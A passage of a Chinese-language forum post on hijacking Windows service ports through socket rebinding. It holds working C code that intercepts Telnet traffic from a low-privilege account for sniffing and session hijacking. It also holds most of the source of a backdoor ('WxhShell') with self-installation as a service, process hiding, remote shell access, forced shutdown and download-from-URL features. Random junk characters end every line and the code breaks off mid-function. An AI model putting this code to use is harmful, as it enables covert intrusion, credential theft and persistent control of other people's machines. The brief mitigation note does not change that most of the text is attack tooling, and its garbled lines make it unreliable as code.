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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: = olmBXn/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~DYv6-p%  
.h7`Q{  
  saddr.sin_family = AF_INET; Z/f%$~Ch  
<+mYC'p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aF41?.s  
,p\:Z3{ZH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Adma~]T9  
L" GQ Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =W_Pph  
k:qS'  
  这意味着什么?意味着可以进行如下的攻击: .*(xkJI3  
%HAforH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V6ICR{y<3  
4fyds< f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8*iIJ  
UTLuzm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;qN;oSK  
cfP9b8JG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QU;bDNq,c  
?~p]Ey}~9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lq6R_ud p  
[<,i}z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +M=`3jioL  
<lo\7p$A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .*Mp+Q}^  
~stJO])a  
  #include $,)PO Z  
  #include IGQcQ/M  
  #include j*' +f~ A  
  #include    p"UdD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L<62-+e`  
  int main() o<8('j   
  { e>] gCa  
  WORD wVersionRequested; =+z+`ot  
  DWORD ret; Z.l4<  
  WSADATA wsaData; aVvma=  
  BOOL val; w$##GM=Tq  
  SOCKADDR_IN saddr; A 6IrA/b  
  SOCKADDR_IN scaddr; bQlvb  
  int err; g]Jt (aYK  
  SOCKET s; PptVneujI  
  SOCKET sc; / :z<+SCh  
  int caddsize; 9Gc4mwu  
  HANDLE mt; ~9[O'  
  DWORD tid;   Ht9QINo  
  wVersionRequested = MAKEWORD( 2, 2 ); K8bKTG\  
  err = WSAStartup( wVersionRequested, &wsaData ); 6|G&d>G$_  
  if ( err != 0 ) { <%iRa$i5  
  printf("error!WSAStartup failed!\n"); "\k| Z  
  return -1; JuKG#F#,  
  } n(h9I'V8)F  
  saddr.sin_family = AF_INET; 90[6PSXk  
   [2$mo;E?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H-&T)  
v6 C$Y+5~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e=^^TX`I  
  saddr.sin_port = htons(23); 2Wn*J[5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [p+-]V  
  { C==yl"w  
  printf("error!socket failed!\n"); YWFq&II|Z  
  return -1; uo8[,'  
  } 7M/v[dwL  
  val = TRUE; m!K`?P]:N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M '#a.z%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TT@ U_^o  
  { 2<FEn$n[  
  printf("error!setsockopt failed!\n"); 2z9s$tp  
  return -1; "P9(k>  
  } ?Qxf~,F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FMi:2.E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vvI23!H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2Onp{,'}  
vR3\E"Zi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f OasX!=  
  { bEKhU\@=J  
  ret=GetLastError(); %b[>eIJU#  
  printf("error!bind failed!\n"); 2{Y~jYt{h  
  return -1; 0,/I2!dF?  
  } {sfA$ d0  
  listen(s,2); uc>":V  
  while(1) jNvDE}'  
  { ZXIw^!8@/  
  caddsize = sizeof(scaddr); oo\7\b#Jx  
  //接受连接请求 @V&c=8) 8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g\% Z+Dc  
  if(sc!=INVALID_SOCKET) * '_(.Z:  
  { '^.`mT'P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z%Fc -KVt  
  if(mt==NULL) 5%%e$o+  
  { 4`B3Kt`o  
  printf("Thread Creat Failed!\n"); "ze-Mb  
  break; } J[Z)u  
  } PU,%Y_xR  
  } UCt}\IJ  
  CloseHandle(mt); /go|r '  
  } )qRH?Hsb7  
  closesocket(s); Vel}lQD  
  WSACleanup(); 16ZyLt  
  return 0; \%|Xf[AX  
  }   /%mT2  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,v<7O_A/e  
  { njc-=o  
  SOCKET ss = (SOCKET)lpParam; RR+{uSO,t  
  SOCKET sc; H$+@O-  
  unsigned char buf[4096]; yeI> b 1>Q  
  SOCKADDR_IN saddr; k8?G%/TD  
  long num; Z]e`bfNnI  
  DWORD val; +Bf?35LP  
  DWORD ret; !:PiQ19 'u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FUarI5#fwF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kuI~lBWI  
  saddr.sin_family = AF_INET; `a%MD>R_Lg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g#MLA5%=u  
  saddr.sin_port = htons(23); o1vK2V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5X f]j=_  
  { _ 6SAU8M,  
  printf("error!socket failed!\n"); <5? pa3  
  return -1; wFX9F3m  
  } Gl@{y (  
  val = 100; &7i&"TNptP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %q}[ZD/HD  
  { /w1M%10   
  ret = GetLastError(); 2Rt6)hgY  
  return -1; Khb Ku0Z  
  } AhD C5ue=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dU#-;/}o  
  { n)~*BpL3  
  ret = GetLastError(); u0GHcpOm  
  return -1; `BQv;NtP  
  } Vr|e(e.%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e P,bFc  
  { Wqkzj^;"G  
  printf("error!socket connect failed!\n"); lYTQg~aPm  
  closesocket(sc); X$;&Mdo.  
  closesocket(ss); [~u&#!*W  
  return -1; *s,[Uy![  
  } m<49<O6o  
  while(1) RC/45:hZZ  
  { }jUsv8`}8R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p#CjkL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z&WtPSyGj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9b/Dswxjx  
  num = recv(ss,buf,4096,0); c"v75lW-J  
  if(num>0) 6\ yBA_ z  
  send(sc,buf,num,0); [ /YuI@C,@  
  else if(num==0) .L+XV y  
  break; D#G%WT/"  
  num = recv(sc,buf,4096,0); o K>(yC[  
  if(num>0) CxTmW5l  
  send(ss,buf,num,0); `sCn4-$8  
  else if(num==0) |mP};&b  
  break; lH;V9D^  
  } }DXG;L  
  closesocket(ss); ~ ;LzTL  
  closesocket(sc); P`ou:M{8  
  return 0 ; s-_D,$ |  
  } =#/Kg_RKL  
V ^+p:nP  
Bb:C^CHIQm  
========================================================== Kp6 @?  
fz\Q>u'T  
下边附上一个代码,,WXhSHELL UXlZI'|He  
}b1FB<e]  
========================================================== ":_II[FPY  
o]~\u{o#.  
#include "stdafx.h" d)e mTXB(  
h7 E~I J  
#include <stdio.h> g"Y _!)X  
#include <string.h> fO$){(]^  
#include <windows.h> 8[KKi~A  
#include <winsock2.h> G0{Z@CvO'  
#include <winsvc.h> {g! 7K  
#include <urlmon.h> 1vxRhS&FY  
{Q3OT  
#pragma comment (lib, "Ws2_32.lib") +?Ii=*7n  
#pragma comment (lib, "urlmon.lib") X3\PVsH$K  
6,A|9UX=`  
#define MAX_USER   100 // 最大客户端连接数 d?8OY  
#define BUF_SOCK   200 // sock buffer *m}8L%<HT  
#define KEY_BUFF   255 // 输入 buffer X>Vc4n<}  
=w! ik9  
#define REBOOT     0   // 重启 \c -m\|  
#define SHUTDOWN   1   // 关机 Hi A E9  
Vw1>d+<~-)  
#define DEF_PORT   5000 // 监听端口 }! EVf  
'< U&8?S  
#define REG_LEN     16   // 注册表键长度 -BH/)$-$  
#define SVC_LEN     80   // NT服务名长度 O|V0WiY<  
B=!!R]dxA  
// 从dll定义API K9lekevB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J(l\VvK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c1"wS*u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &h0LWPl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -;7xUNQ  
kU[hB1D5  
// wxhshell配置信息 F#gA2VCm  
struct WSCFG { ^o{{kju  
  int ws_port;         // 监听端口 /@F'f@;  
  char ws_passstr[REG_LEN]; // 口令 0+e=s0s.  
  int ws_autoins;       // 安装标记, 1=yes 0=no <NMJkl-r8r  
  char ws_regname[REG_LEN]; // 注册表键名 =P]Z"Ok  
  char ws_svcname[REG_LEN]; // 服务名 *O :JECKU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  px<psR5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lw}-oE !U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T82 `-bZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =mO5~~"W+v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J, -.5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c,xdkiy3  
} Bf@69  
}; az F!V  
`qc"JB  
// default Wxhshell configuration ~t)cbF(UO  
struct WSCFG wscfg={DEF_PORT, ,*J@ic7"  
    "xuhuanlingzhe", s/tLY/U/  
    1, >$JE!.p%o  
    "Wxhshell", C< c6Ub  
    "Wxhshell", Z 2N6r6  
            "WxhShell Service", Vr EGR$  
    "Wrsky Windows CmdShell Service", +@QrGY  
    "Please Input Your Password: ", gx.\H3y  
  1, }PBme'kP  
  "http://www.wrsky.com/wxhshell.exe", ENZym  
  "Wxhshell.exe" J'}+0mln  
    }; m$p}cok#+S  
l8FJ\5'M  
// 消息定义模块 5vyg-'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s<zN`&t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lxyTh'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )8A.Wg4S;c  
char *msg_ws_ext="\n\rExit."; &DWSf`:Hx  
char *msg_ws_end="\n\rQuit."; +]eG=. u  
char *msg_ws_boot="\n\rReboot..."; e*2^  
char *msg_ws_poff="\n\rShutdown..."; '2.ey33V  
char *msg_ws_down="\n\rSave to "; AioW*`[WjA  
ij$NTY=u  
char *msg_ws_err="\n\rErr!"; YVMvT>/,  
char *msg_ws_ok="\n\rOK!"; 5@2Rl>B$  
W3,r@mi^s7  
char ExeFile[MAX_PATH]; Ddr.6`VJ  
int nUser = 0; 4Y8=  
HANDLE handles[MAX_USER]; : :>|[ND  
int OsIsNt; ,{PN6B  
f'oTN!5WF  
SERVICE_STATUS       serviceStatus; b*n3Fej  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p< 7rF_?W0  
4Hz3 KKu  
// 函数声明 _d]{[& p4t  
int Install(void); 1kvX#h&V  
int Uninstall(void); FOQ-KP\ =,  
int DownloadFile(char *sURL, SOCKET wsh); )/jDt dI  
int Boot(int flag); gy}3ZA*F  
void HideProc(void); K=N&kda   
int GetOsVer(void); dHDtY$/_  
int Wxhshell(SOCKET wsl); nK;d\DO  
void TalkWithClient(void *cs); y|| n9  
int CmdShell(SOCKET sock); t`8Jz~G`  
int StartFromService(void); R4'.QZ-x  
int StartWxhshell(LPSTR lpCmdLine); G`!,>n 3  
e3ZRL91c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F_qApyU,7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3N_KNW  
';3>rv_  
// 数据结构和表定义 M2Nh3ijr  
SERVICE_TABLE_ENTRY DispatchTable[] = lwQ!sH[M  
{ zDdo RK@  
{wscfg.ws_svcname, NTServiceMain}, ,7B7X)m{3  
{NULL, NULL} P8YnKyI,.  
}; xw8k<`  
Yh1</C  
// 自我安装 p6- //0qb  
int Install(void) gX{j$]^6G8  
{ Q#%LIkeq  
  char svExeFile[MAX_PATH]; ! v![K  
  HKEY key; b$'%)\('g  
  strcpy(svExeFile,ExeFile); ^UvL1+  
~!({U nt+'  
// 如果是win9x系统,修改注册表设为自启动 8WytvwB}  
if(!OsIsNt) { c +]r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I0F [Z\U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t\/H.Hb  
  RegCloseKey(key); E <yQB39  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TgcCR:eL=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1'hpg>U  
  RegCloseKey(key); wo&IVy@s$  
  return 0; 5$U49j  
    } <#:iltO  
  } oO tjG3B({  
} &E]) sJ0  
else { %Ik5|\ob?  
JY c:@\   
// 如果是NT以上系统,安装为系统服务 ;j T{< Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 12 )  
if (schSCManager!=0) rPB Ju0D"  
{ q?j7bp]  
  SC_HANDLE schService = CreateService e)H FI|>  
  ( >J9Qr#=H2  
  schSCManager, E/H9#  
  wscfg.ws_svcname, @g[ijs\  
  wscfg.ws_svcdisp, U9]&KNx  
  SERVICE_ALL_ACCESS, ]4t1dVD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4m\Cc_:jO  
  SERVICE_AUTO_START, @lzq`SzM  
  SERVICE_ERROR_NORMAL, F[c oa5  
  svExeFile, eYv^cbO@:  
  NULL, q,sO<1wAT\  
  NULL, D!* SA  
  NULL, 3mo<O}}  
  NULL, gkK(7=r%  
  NULL EZWWv L  
  ); +IXr4M&3  
  if (schService!=0) Ls2,+yo]>  
  { ar@,SKU'K  
  CloseServiceHandle(schService); ~[!Tpq5  
  CloseServiceHandle(schSCManager); d*TH$-F!p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yHY2 SXm  
  strcat(svExeFile,wscfg.ws_svcname); ~Xx}:@Ld  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S>5w=RK   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *fY*Wy9  
  RegCloseKey(key); 3x(Y+ ymP  
  return 0; bSTori5  
    } -n@,r%`UK  
  } t,Tq3zB  
  CloseServiceHandle(schSCManager); tuH#Cy  
} BHpay  
} \)*\$I\]  
d1yLDj?  
return 1; .P8m%$'N  
} k'X"jon  
Oh}52=  
// 自我卸载 }G(#jOYk  
int Uninstall(void) 5#z7Hj&w  
{ c CjN8<  
  HKEY key; Vb\^xdL>  
#pWy%U  
if(!OsIsNt) { Zq{gp1WC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #}1yBxB<=  
  RegDeleteValue(key,wscfg.ws_regname); :tENn r.9v  
  RegCloseKey(key); h9d*N9!;M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Urw =a$  
  RegDeleteValue(key,wscfg.ws_regname); #+i5'p(4  
  RegCloseKey(key); A/zAB3  
  return 0; M\ wCZG  
  } HZ(giAyjq  
} a"cw%L  
} >uJu!+#  
else { UJS vtD{g  
z>W?\[E<2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #Hy9 ;Q  
if (schSCManager!=0) f3;[ZS  
{ -R9{Ak  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h1'm[Y  
  if (schService!=0) 6ZjUC1  
  { XcbEh  
  if(DeleteService(schService)!=0) { <&+0  
  CloseServiceHandle(schService); (;Bh7Ft  
  CloseServiceHandle(schSCManager); 1< b~="  
  return 0; 87pu\(,'  
  } #m{F*(%  
  CloseServiceHandle(schService); U*EBH  
  } 4tkb7D q  
  CloseServiceHandle(schSCManager); akj#.aYk  
} KsTE)@ F:  
} $LBgBH &z  
t%y i3  
return 1; 7#HSe#0J  
} Ut%{pc 7^F  
U+-;(Fh~  
// 从指定url下载文件 x[&)\[t  
int DownloadFile(char *sURL, SOCKET wsh) [+@T"2h2b  
{ P e} T  
  HRESULT hr; z3^gufOkQ  
char seps[]= "/"; >of9m  
char *token; ]:#W$9,WL  
char *file; h1Y^+A_  
char myURL[MAX_PATH]; tPk> hzW  
char myFILE[MAX_PATH]; ^S|}<6~6b  
D=f$-rn  
strcpy(myURL,sURL); Y|#< kS  
  token=strtok(myURL,seps); Zirp_[KZ%  
  while(token!=NULL) 6!6R3Za$  
  { TCgW^iu  
    file=token; {iQ4jJ`n  
  token=strtok(NULL,seps); HKC&grp  
  } Wa!C2nB  
`OZiN;*|  
GetCurrentDirectory(MAX_PATH,myFILE); 1k%HGQM{  
strcat(myFILE, "\\"); Ea[SS@'R  
strcat(myFILE, file); C szZr>Z  
  send(wsh,myFILE,strlen(myFILE),0); 1vh[sKv9%  
send(wsh,"...",3,0); VYK%0S9yH[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {p$X*2ReB  
  if(hr==S_OK) &[ |Z2}  
return 0; 16ip:/5  
else >qMzQw2  
return 1;  l:a#B  
?wIw$p>wT  
} bvl!^xO]  
)|]*"yf:E  
// 系统电源模块 iII%!f?{[  
int Boot(int flag) %xX b5aY  
{ 2`V0k.$?p  
  HANDLE hToken; HbCcROl(  
  TOKEN_PRIVILEGES tkp; $7O3+R/=  
Z0 c|;  
  if(OsIsNt) { ;b|=osyT\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n "I{aJ]K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j\@&poJ(,  
    tkp.PrivilegeCount = 1; 'O 7>w%#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xjYH[PgfX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O^~nf%  
if(flag==REBOOT) { a0k/R<4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q:wz!~(>  
  return 0; (AG((eV  
} {(d 6of`C_  
else { #A~7rH%hi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5sB~.z@  
  return 0; b. :2x4  
} >+%0|6VSb  
  } 8y4t9V  
  else { b6""q9S!  
if(flag==REBOOT) { tt&{f <*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <`BDN  
  return 0; ;6=*E'  
} ?%T]V+40  
else { E]pD p /D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j^/^PUR  
  return 0; =+4om*  
} k5X-*^U=V}  
} F\<{:wu   
, 9buI='  
return 1; ) '/xNR  
} (Kw%fJT  
{P==6/<2o  
// win9x进程隐藏模块 5',&8  
void HideProc(void) .07k G]  
{ U_wIx  
rwpH9\GE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :?gp}.  
  if ( hKernel != NULL ) t&o&gb  
  { %y+v0.aWH+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bc6|]kB:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &'m&'wDt:  
    FreeLibrary(hKernel); \XbCJJP  
  } "i%=QON`  
\ 5#eBJ  
return; @f#6Nu  
} F>k/;@d  
|4Os_*tRKU  
// 获取操作系统版本 d-I&--"ju  
int GetOsVer(void) 7\i> >  
{ DNRWE1P2bg  
  OSVERSIONINFO winfo; o}L\b,])  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vo(bro4ZQi  
  GetVersionEx(&winfo); 5QG?*Z~?7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %/r:iD  
  return 1; wYd{X 8$  
  else xeRoif\4c  
  return 0; "i\^GK=  
} :>3?|Z"Aj  
ZkF6AF   
// 客户端句柄模块 ?V =#x.9  
int Wxhshell(SOCKET wsl) we33GMxHl`  
{ u"U7aYGkY  
  SOCKET wsh; wd2z=^S~  
  struct sockaddr_in client; B*}:YV  
  DWORD myID; 2GRv%:rZ  
v+DXs!O{  
  while(nUser<MAX_USER) NqN}] nu6  
{ K#x|/b'5d  
  int nSize=sizeof(client); WS\Ir-B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S3y(' PeF  
  if(wsh==INVALID_SOCKET) return 1; o}Q3mCB  
*dx E (dP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l-8rCaq& J  
if(handles[nUser]==0) pE{Ecrc3|  
  closesocket(wsh); B# o6UO\  
else $g }aH(vf  
  nUser++; V17!~  
  } =DXN`]uN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4 udW 6U  
 qy/t<2'  
  return 0; Wfsd$kN6{  
} be HEAQ  
d_Z?i#r0l  
// 关闭 socket =F46v{la  
void CloseIt(SOCKET wsh) ;esOe\z jE  
{ RVh{wg  
closesocket(wsh); Lwo9s)j<e  
nUser--; YLb$/6gj6  
ExitThread(0); Oh,]"(+  
} PeJIa %iE  
!WTL:dk  
// 客户端请求句柄 && b;Wr  
void TalkWithClient(void *cs) :c9 H2  
{ 2k^'}7G%  
|Zdl[|kX  
  SOCKET wsh=(SOCKET)cs; }qBmt>#  
  char pwd[SVC_LEN]; [6\b(kS+  
  char cmd[KEY_BUFF]; QVkrhwp  
char chr[1]; ,:qk+  
int i,j; {n(/ c33  
9`7>" [=P  
  while (nUser < MAX_USER) { di37   
>LW}N!IBy  
if(wscfg.ws_passstr) { ~P'i /*:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qTe@?j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M[QQi2:&  
  //ZeroMemory(pwd,KEY_BUFF); {=ATRwUL  
      i=0; <sls1,  
  while(i<SVC_LEN) { 0CK3jdZ+X  
k\-h-0[|  
  // 设置超时 HmbQL2  
  fd_set FdRead; kG`&Z9P  
  struct timeval TimeOut; L.:8qY  
  FD_ZERO(&FdRead); ipS:)4QFxJ  
  FD_SET(wsh,&FdRead); -[[( Zx  
  TimeOut.tv_sec=8; zxeT{AFPr?  
  TimeOut.tv_usec=0; wJh/tb=$o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?H eUU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <,y> W!  
e s<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XfN(7d0  
  pwd=chr[0]; ^95njE`>t`  
  if(chr[0]==0xd || chr[0]==0xa) { [gj>ey8T  
  pwd=0; @]Lu"h#u=  
  break; LX#gc.c  
  } 1o?uf,H7O  
  i++; ;*WG9Y(W  
    } -! ^D8^s  
T@a|*.V  
  // 如果是非法用户,关闭 socket e/}4Pt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5t-, 5  
} \jx3Fs:Q  
,( NN)Oj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h=B= J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w^N QLV S  
]`M2Kwp  
while(1) { ygQe'S{!S\  
-,2CMS#N  
  ZeroMemory(cmd,KEY_BUFF); .aR9ulS  
z7TyS.z  
      // 自动支持客户端 telnet标准   6w[EJ;=p_  
  j=0; )W&{OMr  
  while(j<KEY_BUFF) { W:K '2j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PlCj<b1D:  
  cmd[j]=chr[0]; gyuBmY  
  if(chr[0]==0xa || chr[0]==0xd) { K|I<kA~!H  
  cmd[j]=0; |qBcE  
  break; JX{_,2*$  
  } ]'pL*&"X  
  j++; M~~)tJYsu  
    } t(jE9t|2e6  
w"C,oo3  
  // 下载文件 M{4XNE]m  
  if(strstr(cmd,"http://")) { egVKAR-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4iss j$  
  if(DownloadFile(cmd,wsh)) 8e1Z:axn0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }_5R9w]"  
  else Udq!YXE0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B<0Kl.V  
  } Sb(OG 6  
  else { h}kJ,n  
;%;||?'v  
    switch(cmd[0]) { F~eY'~&H}  
  -+0kay%  
  // 帮助 $m A2 AI  
  case '?': { 6[S IDOp*^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b`@J"E}  
    break; 7VL|\^Y`q  
  } na"!"C s3  
  // 安装 dFy GI?  
  case 'i': { [bRE=Zr$Ry  
    if(Install()) Kxg@(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_?v=dW`  
    else u1=K#5^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7*"Jx}eM  
    break; 5JHEBw5W%  
    } MdmN7>  
  // 卸载 !#=3>\np+X  
  case 'r': { P^tTg  
    if(Uninstall()) V1~@   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DTSf[zP/  
    else #'0Yzh]qc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); </u=<^ire  
    break; *QV"o{V  
    } ambr}+}  
  // 显示 wxhshell 所在路径 z+-o}i  
  case 'p': { hS&l4 \I'Z  
    char svExeFile[MAX_PATH]; ,~DV0#"  
    strcpy(svExeFile,"\n\r"); ZvMU3])u  
      strcat(svExeFile,ExeFile); _54gqD2C,  
        send(wsh,svExeFile,strlen(svExeFile),0); } !y5hv!_  
    break; |Wjpnz  
    } cnI5 G!  
  // 重启 @bJIN]R  
  case 'b': { -$DfnAh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v; R2,`[W  
    if(Boot(REBOOT)) xiDgQTDz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8;r#HtFM  
    else { *0to,$ n  
    closesocket(wsh); _{-[1-lN5_  
    ExitThread(0); dDIR~ !T  
    } ]!&$&t8.  
    break; G]4Ca5;Z!N  
    } m(*rMO>_  
  // 关机 o]RZd--c<  
  case 'd': { b $J S|  
